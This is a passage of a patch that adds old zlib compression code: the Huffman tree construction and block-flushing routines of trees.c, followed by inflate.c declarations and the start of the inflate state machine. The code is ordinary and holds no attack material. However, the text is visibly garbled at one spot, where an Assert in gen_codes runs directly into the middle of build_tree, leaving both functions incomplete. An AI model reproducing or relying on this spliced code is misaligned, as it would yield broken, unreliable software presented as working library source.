s->bl_desc.stat_desc = &static_bl_desc; + + s->bi_buf = 0; + s->bi_valid = 0; + s->last_eob_len = 8; /* enough lookahead for inflate */ +#ifdef DEBUG_ZLIB + s->bits_sent = 0L; +#endif + + /* Initialize the first block of the first file: */ + init_block(s); +} + +/* =========================================================================== + * Initialize a new block. + */ +local void init_block(s) + deflate_state *s; +{ + int n; /* iterates over tree elements */ + + /* Initialize the trees. */ + for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; + for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; + for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; + + s->dyn_ltree[END_BLOCK].Freq = 1; + s->opt_len = s->static_len = 0L; + s->last_lit = s->matches = 0; +} + +#define SMALLEST 1 +/* Index within the heap array of least frequent node in the Huffman tree */ + + +/* =========================================================================== + * Remove the smallest element from the heap and recreate the heap with + * one less element. Updates heap and heap_len. + */ +#define pqremove(s, tree, top) \ +{\ + top = s->heap[SMALLEST]; \ + s->heap[SMALLEST] = s->heap[s->heap_len--]; \ + pqdownheap(s, tree, SMALLEST); \ +} + +/* =========================================================================== + * Compares to subtrees, using the tree depth as tie breaker when + * the subtrees have equal frequency. This minimizes the worst case length. + */ +#define smaller(tree, n, m, depth) \ + (tree[n].Freq < tree[m].Freq || \ + (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) + +/* =========================================================================== + * Restore the heap property by moving down the tree starting at node k, + * exchanging a node with the smallest of its two sons if necessary, stopping + * when the heap property is re-established (each father smaller than its + * two sons). + */ +local void pqdownheap(s, tree, k) + deflate_state *s; + ct_data *tree; /* the tree to restore */ + int k; /* node to move down */ +{ + int v = s->heap[k]; + int j = k << 1; /* left son of k */ + while (j <= s->heap_len) { + /* Set j to the smallest of the two sons: */ + if (j < s->heap_len && + smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { + j++; + } + /* Exit if v is smaller than both sons */ + if (smaller(tree, v, s->heap[j], s->depth)) break; + + /* Exchange v with the smallest son */ + s->heap[k] = s->heap[j]; k = j; + + /* And continue down the tree, setting j to the left son of k */ + j <<= 1; + } + s->heap[k] = v; +} + +/* =========================================================================== + * Compute the optimal bit lengths for a tree and update the total bit length + * for the current block. + * IN assertion: the fields freq and dad are set, heap[heap_max] and + * above are the tree nodes sorted by increasing frequency. + * OUT assertions: the field len is set to the optimal bit length, the + * array bl_count contains the frequencies for each bit length. + * The length opt_len is updated; static_len is also updated if stree is + * not null. + */ +local void gen_bitlen(s, desc) + deflate_state *s; + tree_desc *desc; /* the tree descriptor */ +{ + ct_data *tree = desc->dyn_tree; + int max_code = desc->max_code; + ct_data *stree = desc->stat_desc->static_tree; + intf *extra = desc->stat_desc->extra_bits; + int base = desc->stat_desc->extra_base; + int max_length = desc->stat_desc->max_length; + int h; /* heap index */ + int n, m; /* iterate over the tree elements */ + int bits; /* bit length */ + int xbits; /* extra bits */ + ush f; /* frequency */ + int overflow = 0; /* number of elements with bit length too large */ + + for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; + + /* In a first pass, compute the optimal bit lengths (which may + * overflow in the case of the bit length tree). + */ + tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ + + for (h = s->heap_max+1; h < HEAP_SIZE; h++) { + n = s->heap[h]; + bits = tree[tree[n].Dad].Len + 1; + if (bits > max_length) bits = max_length, overflow++; + tree[n].Len = (ush)bits; + /* We overwrite tree[n].Dad which is no longer needed */ + + if (n > max_code) continue; /* not a leaf node */ + + s->bl_count[bits]++; + xbits = 0; + if (n >= base) xbits = extra[n-base]; + f = tree[n].Freq; + s->opt_len += (ulg)f * (bits + xbits); + if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); + } + if (overflow == 0) return; + + Trace((stderr,"\nbit length overflow\n")); + /* This happens for example on obj2 and pic of the Calgary corpus */ + + /* Find the first bit length which could increase: */ + do { + bits = max_length-1; + while (s->bl_count[bits] == 0) bits--; + s->bl_count[bits]--; /* move one leaf down the tree */ + s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ + s->bl_count[max_length]--; + /* The brother of the overflow item also moves one step up, + * but this does not affect bl_count[max_length] + */ + overflow -= 2; + } while (overflow > 0); + + /* Now recompute all bit lengths, scanning in increasing frequency. + * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all + * lengths instead of fixing only the wrong ones. This idea is taken + * from 'ar' written by Haruhiko Okumura.) + */ + for (bits = max_length; bits != 0; bits--) { + n = s->bl_count[bits]; + while (n != 0) { + m = s->heap[--h]; + if (m > max_code) continue; + if (tree[m].Len != (unsigned) bits) { + Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); + s->opt_len += ((long)bits - (long)tree[m].Len) + *(long)tree[m].Freq; + tree[m].Len = (ush)bits; + } + n--; + } + } +} + +/* =========================================================================== + * Generate the codes for a given tree and bit counts (which need not be + * optimal). + * IN assertion: the array bl_count contains the bit length statistics for + * the given tree and the field len is set for all tree elements. + * OUT assertion: the field code is set for all tree elements of non + * zero code length. + */ +local void gen_codes (tree, max_code, bl_count) + ct_data *tree; /* the tree to decorate */ + int max_code; /* largest code with non zero frequency */ + ushf *bl_count; /* number of codes at each bit length */ +{ + ush next_code[MAX_BITS+1]; /* next code value for each bit length */ + ush code = 0; /* running code value */ + int bits; /* bit index */ + int n; /* code index */ + + /* The distribution counts are first used to generate the code values + * without bit reversal. + */ + for (bits = 1; bits <= MAX_BITS; bits++) { + next_code[bits] = code = (code + bl_count[bits-1]) << 1; + } + /* Check that the bit counts in bl_count are consistent. The last code + * must be all ones. + */ + Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; + ct_data *stree = desc->stat_desc->static_tree; + int elems = desc->stat_desc->elems; + int n, m; /* iterate over heap elements */ + int max_code = -1; /* largest code with non zero frequency */ + int node; /* new node being created */ + + /* Construct the initial heap, with least frequent element in + * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. + * heap[0] is not used. + */ + s->heap_len = 0, s->heap_max = HEAP_SIZE; + + for (n = 0; n < elems; n++) { + if (tree[n].Freq != 0) { + s->heap[++(s->heap_len)] = max_code = n; + s->depth[n] = 0; + } else { + tree[n].Len = 0; + } + } + + /* The pkzip format requires that at least one distance code exists, + * and that at least one bit should be sent even if there is only one + * possible code. So to avoid special checks later on we force at least + * two codes of non zero frequency. + */ + while (s->heap_len < 2) { + node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); + tree[node].Freq = 1; + s->depth[node] = 0; + s->opt_len--; if (stree) s->static_len -= stree[node].Len; + /* node is 0 or 1 so it does not have extra bits */ + } + desc->max_code = max_code; + + /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, + * establish sub-heaps of increasing lengths: + */ + for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); + + /* Construct the Huffman tree by repeatedly combining the least two + * frequent nodes. + */ + node = elems; /* next internal node of the tree */ + do { + pqremove(s, tree, n); /* n = node of least frequency */ + m = s->heap[SMALLEST]; /* m = node of next least frequency */ + + s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ + s->heap[--(s->heap_max)] = m; + + /* Create a new node father of n and m */ + tree[node].Freq = tree[n].Freq + tree[m].Freq; + s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); + tree[n].Dad = tree[m].Dad = (ush)node; +#ifdef DUMP_BL_TREE + if (tree == s->bl_tree) { + fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", + node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); + } +#endif + /* and insert the new node in the heap */ + s->heap[SMALLEST] = node++; + pqdownheap(s, tree, SMALLEST); + + } while (s->heap_len >= 2); + + s->heap[--(s->heap_max)] = s->heap[SMALLEST]; + + /* At this point, the fields freq and dad are set. We can now + * generate the bit lengths. + */ + gen_bitlen(s, (tree_desc *)desc); + + /* The field len is now set, we can generate the bit codes */ + gen_codes ((ct_data *)tree, max_code, s->bl_count); +} + +/* =========================================================================== + * Scan a literal or distance tree to determine the frequencies of the codes + * in the bit length tree. + */ +local void scan_tree (s, tree, max_code) + deflate_state *s; + ct_data *tree; /* the tree to be scanned */ + int max_code; /* and its largest code of non zero frequency */ +{ + int n; /* iterates over all tree elements */ + int prevlen = -1; /* last emitted length */ + int curlen; /* length of current code */ + int nextlen = tree[0].Len; /* length of next code */ + int count = 0; /* repeat count of the current code */ + int max_count = 7; /* max repeat count */ + int min_count = 4; /* min repeat count */ + + if (nextlen == 0) max_count = 138, min_count = 3; + tree[max_code+1].Len = (ush)0xffff; /* guard */ + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; nextlen = tree[n+1].Len; + if (++count < max_count && curlen == nextlen) { + continue; + } else if (count < min_count) { + s->bl_tree[curlen].Freq += count; + } else if (curlen != 0) { + if (curlen != prevlen) s->bl_tree[curlen].Freq++; + s->bl_tree[REP_3_6].Freq++; + } else if (count <= 10) { + s->bl_tree[REPZ_3_10].Freq++; + } else { + s->bl_tree[REPZ_11_138].Freq++; + } + count = 0; prevlen = curlen; + if (nextlen == 0) { + max_count = 138, min_count = 3; + } else if (curlen == nextlen) { + max_count = 6, min_count = 3; + } else { + max_count = 7, min_count = 4; + } + } +} + +/* =========================================================================== + * Send a literal or distance tree in compressed form, using the codes in + * bl_tree. + */ +local void send_tree (s, tree, max_code) + deflate_state *s; + ct_data *tree; /* the tree to be scanned */ + int max_code; /* and its largest code of non zero frequency */ +{ + int n; /* iterates over all tree elements */ + int prevlen = -1; /* last emitted length */ + int curlen; /* length of current code */ + int nextlen = tree[0].Len; /* length of next code */ + int count = 0; /* repeat count of the current code */ + int max_count = 7; /* max repeat count */ + int min_count = 4; /* min repeat count */ + + /* tree[max_code+1].Len = -1; */ /* guard already set */ + if (nextlen == 0) max_count = 138, min_count = 3; + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; nextlen = tree[n+1].Len; + if (++count < max_count && curlen == nextlen) { + continue; + } else if (count < min_count) { + do { send_code(s, curlen, s->bl_tree); } while (--count != 0); + + } else if (curlen != 0) { + if (curlen != prevlen) { + send_code(s, curlen, s->bl_tree); count--; + } + Assert(count >= 3 && count <= 6, " 3_6?"); + send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); + + } else if (count <= 10) { + send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); + + } else { + send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); + } + count = 0; prevlen = curlen; + if (nextlen == 0) { + max_count = 138, min_count = 3; + } else if (curlen == nextlen) { + max_count = 6, min_count = 3; + } else { + max_count = 7, min_count = 4; + } + } +} + +/* =========================================================================== + * Construct the Huffman tree for the bit lengths and return the index in + * bl_order of the last bit length code to send. + */ +local int build_bl_tree(s) + deflate_state *s; +{ + int max_blindex; /* index of last bit length code of non zero freq */ + + /* Determine the bit length frequencies for literal and distance trees */ + scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); + scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); + + /* Build the bit length tree: */ + build_tree(s, (tree_desc *)(&(s->bl_desc))); + /* opt_len now includes the length of the tree representations, except + * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. + */ + + /* Determine the number of bit length codes to send. The pkzip format + * requires that at least 4 bit length codes be sent. (appnote.txt says + * 3 but the actual value used is 4.) + */ + for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { + if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; + } + /* Update opt_len to include the bit length tree and counts */ + s->opt_len += 3*(max_blindex+1) + 5+5+4; + Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", + s->opt_len, s->static_len)); + + return max_blindex; +} + +/* =========================================================================== + * Send the header for a block using dynamic Huffman trees: the counts, the + * lengths of the bit length codes, the literal tree and the distance tree. + * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. + */ +local void send_all_trees(s, lcodes, dcodes, blcodes) + deflate_state *s; + int lcodes, dcodes, blcodes; /* number of codes for each tree */ +{ + int rank; /* index in bl_order */ + + Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); + Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, + "too many codes"); + Tracev((stderr, "\nbl counts: ")); + send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ + send_bits(s, dcodes-1, 5); + send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ + for (rank = 0; rank < blcodes; rank++) { + Tracev((stderr, "\nbl code %2d ", bl_order[rank])); + send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); + } + Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); + + send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ + Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); + + send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ + Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); +} + +/* =========================================================================== + * Send a stored block + */ +void _tr_stored_block(s, buf, stored_len, eof) + deflate_state *s; + charf *buf; /* input block */ + ulg stored_len; /* length of input block */ + int eof; /* true if this is the last block for a file */ +{ + send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ + s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; + s->compressed_len += (stored_len + 4) << 3; + + copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ +} + +/* Send just the `stored block' type code without any length bytes or data. + */ +void _tr_stored_type_only(s) + deflate_state *s; +{ + send_bits(s, (STORED_BLOCK << 1), 3); + bi_windup(s); + s->compressed_len = (s->compressed_len + 3) & ~7L; +} + + +/* =========================================================================== + * Send one empty static block to give enough lookahead for inflate. + * This takes 10 bits, of which 7 may remain in the bit buffer. + * The current inflate code requires 9 bits of lookahead. If the + * last two codes for the previous block (real code plus EOB) were coded + * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode + * the last real code. In this case we send two empty static blocks instead + * of one. (There are no problems if the previous block is stored or fixed.) + * To simplify the code, we assume the worst case of last real code encoded + * on one bit only. + */ +void _tr_align(s) + deflate_state *s; +{ + send_bits(s, STATIC_TREES<<1, 3); + send_code(s, END_BLOCK, static_ltree); + s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ + bi_flush(s); + /* Of the 10 bits for the empty block, we have already sent + * (10 - bi_valid) bits. The lookahead for the last real code (before + * the EOB of the previous block) was thus at least one plus the length + * of the EOB plus what we have just sent of the empty static block. + */ + if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { + send_bits(s, STATIC_TREES<<1, 3); + send_code(s, END_BLOCK, static_ltree); + s->compressed_len += 10L; + bi_flush(s); + } + s->last_eob_len = 7; +} + +/* =========================================================================== + * Determine the best encoding for the current block: dynamic trees, static + * trees or store, and output the encoded block to the zip file. This function + * returns the total compressed length for the file so far. + */ +ulg _tr_flush_block(s, buf, stored_len, eof) + deflate_state *s; + charf *buf; /* input block, or NULL if too old */ + ulg stored_len; /* length of input block */ + int eof; /* true if this is the last block for a file */ +{ + ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ + int max_blindex = 0; /* index of last bit length code of non zero freq */ + + /* Build the Huffman trees unless a stored block is forced */ + if (s->level > 0) { + + /* Check if the file is ascii or binary */ + if (s->data_type == Z_UNKNOWN) set_data_type(s); + + /* Construct the literal and distance trees */ + build_tree(s, (tree_desc *)(&(s->l_desc))); + Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, + s->static_len)); + + build_tree(s, (tree_desc *)(&(s->d_desc))); + Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, + s->static_len)); + /* At this point, opt_len and static_len are the total bit lengths of + * the compressed block data, excluding the tree representations. + */ + + /* Build the bit length tree for the above two trees, and get the index + * in bl_order of the last bit length code to send. + */ + max_blindex = build_bl_tree(s); + + /* Determine the best encoding. Compute first the block length in bytes*/ + opt_lenb = (s->opt_len+3+7)>>3; + static_lenb = (s->static_len+3+7)>>3; + + Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", + opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, + s->last_lit)); + + if (static_lenb <= opt_lenb) opt_lenb = static_lenb; + + } else { + Assert(buf != (char*)0, "lost buf"); + opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ + } + + /* If compression failed and this is the first and last block, + * and if the .zip file can be seeked (to rewrite the local header), + * the whole file is transformed into a stored file: + */ +#ifdef STORED_FILE_OK +# ifdef FORCE_STORED_FILE + if (eof && s->compressed_len == 0L) { /* force stored file */ +# else + if (stored_len <= opt_lenb && eof && s->compressed_len==0L && seekable()) { +# endif + /* Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: */ + if (buf == (charf*)0) error ("block vanished"); + + copy_block(s, buf, (unsigned)stored_len, 0); /* without header */ + s->compressed_len = stored_len << 3; + s->method = STORED; + } else +#endif /* STORED_FILE_OK */ + +#ifdef FORCE_STORED + if (buf != (char*)0) { /* force stored block */ +#else + if (stored_len+4 <= opt_lenb && buf != (char*)0) { + /* 4: two words for the lengths */ +#endif + /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. + * Otherwise we can't have processed more than WSIZE input bytes since + * the last block flush, because compression would have been + * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to + * transform a block into a stored block. + */ + _tr_stored_block(s, buf, stored_len, eof); + +#ifdef FORCE_STATIC + } else if (static_lenb >= 0) { /* force static trees */ +#else + } else if (static_lenb == opt_lenb) { +#endif + send_bits(s, (STATIC_TREES<<1)+eof, 3); + compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); + s->compressed_len += 3 + s->static_len; + } else { + send_bits(s, (DYN_TREES<<1)+eof, 3); + send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, + max_blindex+1); + compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); + s->compressed_len += 3 + s->opt_len; + } + Assert (s->compressed_len == s->bits_sent, "bad compressed size"); + init_block(s); + + if (eof) { + bi_windup(s); + s->compressed_len += 7; /* align on byte boundary */ + } + Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, + s->compressed_len-7*eof)); + + return s->compressed_len >> 3; +} + +/* =========================================================================== + * Save the match info and tally the frequency counts. Return true if + * the current block must be flushed. + */ +int _tr_tally (s, dist, lc) + deflate_state *s; + unsigned dist; /* distance of matched string */ + unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ +{ + s->d_buf[s->last_lit] = (ush)dist; + s->l_buf[s->last_lit++] = (uch)lc; + if (dist == 0) { + /* lc is the unmatched char */ + s->dyn_ltree[lc].Freq++; + } else { + s->matches++; + /* Here, lc is the match length - MIN_MATCH */ + dist--; /* dist = match distance - 1 */ + Assert((ush)dist < (ush)MAX_DIST(s) && + (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && + (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); + + s->dyn_ltree[length_code[lc]+LITERALS+1].Freq++; + s->dyn_dtree[d_code(dist)].Freq++; + } + + /* Try to guess if it is profitable to stop the current block here */ + if (s->level > 2 && (s->last_lit & 0xfff) == 0) { + /* Compute an upper bound for the compressed length */ + ulg out_length = (ulg)s->last_lit*8L; + ulg in_length = (ulg)((long)s->strstart - s->block_start); + int dcode; + for (dcode = 0; dcode < D_CODES; dcode++) { + out_length += (ulg)s->dyn_dtree[dcode].Freq * + (5L+extra_dbits[dcode]); + } + out_length >>= 3; + Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", + s->last_lit, in_length, out_length, + 100L - out_length*100L/in_length)); + if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; + } + return (s->last_lit == s->lit_bufsize-1); + /* We avoid equality with lit_bufsize because of wraparound at 64K + * on 16 bit machines and because stored blocks are restricted to + * 64K-1 bytes. + */ +} + +/* =========================================================================== + * Send the block data compressed using the given Huffman trees + */ +local void compress_block(s, ltree, dtree) + deflate_state *s; + ct_data *ltree; /* literal tree */ + ct_data *dtree; /* distance tree */ +{ + unsigned dist; /* distance of matched string */ + int lc; /* match length or unmatched char (if dist == 0) */ + unsigned lx = 0; /* running index in l_buf */ + unsigned code; /* the code to send */ + int extra; /* number of extra bits to send */ + + if (s->last_lit != 0) do { + dist = s->d_buf[lx]; + lc = s->l_buf[lx++]; + if (dist == 0) { + send_code(s, lc, ltree); /* send a literal byte */ + Tracecv(isgraph(lc), (stderr," '%c' ", lc)); + } else { + /* Here, lc is the match length - MIN_MATCH */ + code = length_code[lc]; + send_code(s, code+LITERALS+1, ltree); /* send the length code */ + extra = extra_lbits[code]; + if (extra != 0) { + lc -= base_length[code]; + send_bits(s, lc, extra); /* send the extra length bits */ + } + dist--; /* dist is now the match distance - 1 */ + code = d_code(dist); + Assert (code < D_CODES, "bad d_code"); + + send_code(s, code, dtree); /* send the distance code */ + extra = extra_dbits[code]; + if (extra != 0) { + dist -= base_dist[code]; + send_bits(s, dist, extra); /* send the extra distance bits */ + } + } /* literal or match pair ? */ + + /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ + Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); + + } while (lx < s->last_lit); + + send_code(s, END_BLOCK, ltree); + s->last_eob_len = ltree[END_BLOCK].Len; +} + +/* =========================================================================== + * Set the data type to ASCII or BINARY, using a crude approximation: + * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. + * IN assertion: the fields freq of dyn_ltree are set and the total of all + * frequencies does not exceed 64K (to fit in an int on 16 bit machines). + */ +local void set_data_type(s) + deflate_state *s; +{ + int n = 0; + unsigned ascii_freq = 0; + unsigned bin_freq = 0; + while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; + while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; + while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; + s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); +} + +/* =========================================================================== + * Reverse the first len bits of a code, using straightforward code (a faster + * method would use a table) + * IN assertion: 1 <= len <= 15 + */ +local unsigned bi_reverse(code, len) + unsigned code; /* the value to invert */ + int len; /* its bit length */ +{ + register unsigned res = 0; + do { + res |= code & 1; + code >>= 1, res <<= 1; + } while (--len > 0); + return res >> 1; +} + +/* =========================================================================== + * Flush the bit buffer, keeping at most 7 bits in it. + */ +local void bi_flush(s) + deflate_state *s; +{ + if (s->bi_valid == 16) { + put_short(s, s->bi_buf); + s->bi_buf = 0; + s->bi_valid = 0; + } else if (s->bi_valid >= 8) { + put_byte(s, (Byte)s->bi_buf); + s->bi_buf >>= 8; + s->bi_valid -= 8; + } +} + +/* =========================================================================== + * Flush the bit buffer and align the output on a byte boundary + */ +local void bi_windup(s) + deflate_state *s; +{ + if (s->bi_valid > 8) { + put_short(s, s->bi_buf); + } else if (s->bi_valid > 0) { + put_byte(s, (Byte)s->bi_buf); + } + s->bi_buf = 0; + s->bi_valid = 0; +#ifdef DEBUG_ZLIB + s->bits_sent = (s->bits_sent+7) & ~7; +#endif +} + +/* =========================================================================== + * Copy a stored block, storing first the length and its + * one's complement if requested. + */ +local void copy_block(s, buf, len, header) + deflate_state *s; + charf *buf; /* the input data */ + unsigned len; /* its length */ + int header; /* true if block header must be written */ +{ + bi_windup(s); /* align on byte boundary */ + s->last_eob_len = 8; /* enough lookahead for inflate */ + + if (header) { + put_short(s, (ush)len); + put_short(s, (ush)~len); +#ifdef DEBUG_ZLIB + s->bits_sent += 2*16; +#endif + } +#ifdef DEBUG_ZLIB + s->bits_sent += (ulg)len<<3; +#endif + /* bundle up the put_byte(s, *buf++) calls */ + zmemcpy(&s->pending_buf[s->pending], buf, len); + s->pending += len; +} +/* --- trees.c */ + +/* +++ inflate.c */ +/* inflate.c -- zlib interface to inflate modules + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ + +/* +++ infblock.h */ +/* infblock.h -- header to use infblock.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +struct inflate_blocks_state; +typedef struct inflate_blocks_state FAR inflate_blocks_statef; + +extern inflate_blocks_statef * inflate_blocks_new OF(( + z_streamp z, + check_func c, /* check function */ + uInt w)); /* window size */ + +extern int inflate_blocks OF(( + inflate_blocks_statef *, + z_streamp , + int)); /* initial return code */ + +extern void inflate_blocks_reset OF(( + inflate_blocks_statef *, + z_streamp , + uLongf *)); /* check value on output */ + +extern int inflate_blocks_free OF(( + inflate_blocks_statef *, + z_streamp , + uLongf *)); /* check value on output */ + +extern void inflate_set_dictionary OF(( + inflate_blocks_statef *s, + const Bytef *d, /* dictionary */ + uInt n)); /* dictionary length */ + +extern int inflate_addhistory OF(( + inflate_blocks_statef *, + z_streamp)); + +extern int inflate_packet_flush OF(( + inflate_blocks_statef *)); +/* --- infblock.h */ + +#ifndef NO_DUMMY_DECL +struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ +#endif + +/* inflate private state */ +struct internal_state { + + /* mode */ + enum { + METHOD, /* waiting for method byte */ + FLAG, /* waiting for flag byte */ + DICT4, /* four dictionary check bytes to go */ + DICT3, /* three dictionary check bytes to go */ + DICT2, /* two dictionary check bytes to go */ + DICT1, /* one dictionary check byte to go */ + DICT0, /* waiting for inflateSetDictionary */ + BLOCKS, /* decompressing blocks */ + CHECK4, /* four check bytes to go */ + CHECK3, /* three check bytes to go */ + CHECK2, /* two check bytes to go */ + CHECK1, /* one check byte to go */ + DONE, /* finished check, done */ + BAD} /* got an error--stay here */ + mode; /* current inflate mode */ + + /* mode dependent information */ + union { + uInt method; /* if FLAGS, method byte */ + struct { + uLong was; /* computed check value */ + uLong need; /* stream check value */ + } check; /* if CHECK, check values to compare */ + uInt marker; /* if BAD, inflateSync's marker bytes count */ + } sub; /* submode */ + + /* mode independent information */ + int nowrap; /* flag for no wrapper */ + uInt wbits; /* log2(window size) (8..15, defaults to 15) */ + inflate_blocks_statef + *blocks; /* current inflate_blocks state */ + +}; + + +int inflateReset(z_streamp z) +{ + uLong c; + + if (z == Z_NULL || z->state == Z_NULL) + return Z_STREAM_ERROR; + z->total_in = z->total_out = 0; + z->msg = Z_NULL; + z->state->mode = z->state->nowrap ? BLOCKS : METHOD; + inflate_blocks_reset(z->state->blocks, z, &c); + Trace((stderr, "inflate: reset\n")); + return Z_OK; +} + + +int inflateEnd(z_streamp z) +{ + uLong c; + + if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) + return Z_STREAM_ERROR; + if (z->state->blocks != Z_NULL) + inflate_blocks_free(z->state->blocks, z, &c); + ZFREE(z, z->state); + z->state = Z_NULL; + Trace((stderr, "inflate: end\n")); + return Z_OK; +} + + +int inflateInit2_(z_streamp z, int w, const char *version, int stream_size) +{ + if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || + stream_size != sizeof(z_stream)) + return Z_VERSION_ERROR; + + /* initialize state */ + if (z == Z_NULL) + return Z_STREAM_ERROR; + z->msg = Z_NULL; +#ifndef NO_ZCFUNCS + if (z->zalloc == Z_NULL) + { + z->zalloc = zcalloc; + z->opaque = (voidpf)0; + } + if (z->zfree == Z_NULL) z->zfree = zcfree; +#endif + if ((z->state = (struct internal_state FAR *) + ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) + return Z_MEM_ERROR; + z->state->blocks = Z_NULL; + + /* handle undocumented nowrap option (no zlib header or check) */ + z->state->nowrap = 0; + if (w < 0) + { + w = - w; + z->state->nowrap = 1; + } + + /* set window size */ + if (w < 8 || w > 15) + { + inflateEnd(z); + return Z_STREAM_ERROR; + } + z->state->wbits = (uInt)w; + + /* create inflate_blocks state */ + if ((z->state->blocks = + inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) + == Z_NULL) + { + inflateEnd(z); + return Z_MEM_ERROR; + } + Trace((stderr, "inflate: allocated\n")); + + /* reset state */ + inflateReset(z); + return Z_OK; +} + + +int inflateInit_(z_streamp z, const char *version, int stream_size) +{ + return inflateInit2_(z, DEF_WBITS, version, stream_size); +} + + +#define NEEDBYTE {if(z->avail_in==0)goto empty;r=Z_OK;} +#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) + +int inflate(z_streamp z, int f) +{ + int r; + uInt b; + + if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL || f < 0) + return Z_STREAM_ERROR; + r = Z_BUF_ERROR; + while (1) switch (z->state->mode) + { + case METHOD: + NEEDBYTE + if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) + { + z->state->mode = BAD; + z->msg = (char*)"unknown compression method"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + if ((z->state->sub.method >> 4) + 8 > z->state->wbits) + { + z->state->mode = BAD; + z->msg = (char*)"invalid window size"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + z->state->mode = FLAG; + case FLAG: + NEEDBYTE + b = NEXTBYTE; + if (((z->state->sub.method << 8) + b) % 31) + { + z->state->mode = BAD; + z->msg = (char*)"incorrect header check"; + z->state->sub.marker = 5; /* can't try inflateSync */ + break; + } + Trace((stderr, "inflate: zlib header ok\n")); + if (!(b & PRESET_DICT)) + { + z->state->mode = BLOCKS; + break; + } + z->state->mode = DICT4; + case DICT4: + NEEDBYTE + z->state->sub.check.need = 